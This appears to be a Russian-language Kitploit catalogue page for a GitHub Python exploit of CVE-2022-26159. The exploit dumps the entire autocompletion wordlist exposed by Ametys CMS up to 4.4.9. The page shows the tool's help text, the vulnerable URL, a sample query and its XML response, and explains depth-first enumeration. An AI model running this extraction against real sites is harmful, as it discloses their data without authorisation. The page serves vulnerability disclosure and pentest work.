Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-26159-Ametys-Autocompletion-XML — Эксплойт на Python для автоматической выгрузки всех данных, которые хранит плагин автодополнения Ametys CMS, в локальный файл базы данных SQLite. | Kitploit
Инструменты/GitHubGitHub/p0dalirius/cve-2022-26159-ametys-autocompletion-xml
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииКраулер
GitHubp0dalirius/cve-2022-26159-ametys-autocompletion-xml

CVE-2022-26159-Ametys-Autocompletion-XML

Эксплойт на Python для автоматической выгрузки всех данных, которые хранит плагин автодополнения Ametys CMS, в локальный файл базы данных SQLite.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт
1434 лет назадЕщё не проверено

CVE-2022-26159-Ametys-Autocompletion-XML

Эксплойт на Python для автоматического создания дампа всех данных, хранящихся плагином автодополнения Ametys CMS, в локальный файл базы данных SQLite.
GitHub release (latest by date) YouTube Channel Subscribers

Возможности

  • Автоматическое определение максимального количества результатов, возвращаемых плагином автодополнения.
  • Поиск в глубину для извлечения всех результатов.
  • Вывод лог-файла.

Использование

root@kitploit:~
$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius

usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]

Description message

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        arg1 help message
  -H HEADERS, --header HEADERS
                        Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
  -k, --insecure        Disable SSL/TLS warnings and certificate verification.
  -v, --verbose         Verbose mode. (default: False)
  -q, --quiet           Quiet mode. (default: False)
  --no-colors           Disables colored output. (default: False)

Технические подробности

Плагин автодополнения в Ametys CMS <= 4.4.9 публично предоставляет XML-файл, содержащий список слов (wordlist), по следующему адресу:

root@kitploit:~
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml

Чтобы выполнить запрос к этой базе данных, атакующему достаточно ввести начало слова в параметре q (query):

root@kitploit:~
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm

И плагин автодополнения возвращает первые 10 подходящих слов, начинающихся с adm (из запроса), в виде XML-файла:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
    <item>administrateur</item>
    <item>administrateurs</item>
    <item>administratif</item>
    <item>administratifs</item>
    <item>administration</item>
    <item>administrations</item>
    <item>administrative</item>
    <item>administratives</item>
    <item>administres</item>
    <item>admission</item>
</auto-completion>

Учитывая это, атакующему достаточно выполнить поиск в глубину по API, чтобы извлечь всё его содержимое.

Участие в разработке

Pull requests приветствуются. Не стесняйтесь открыть issue, если хотите добавить другие функции.

Ссылки

  • https://podalirius.net/en/cves/2022-26159/
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26159
  • https://issues.ametys.org/browse/CMS-10973
  • https://podalirius.net/en/articles/scraping-search-apis-depth-first-style/
Скачать инструмент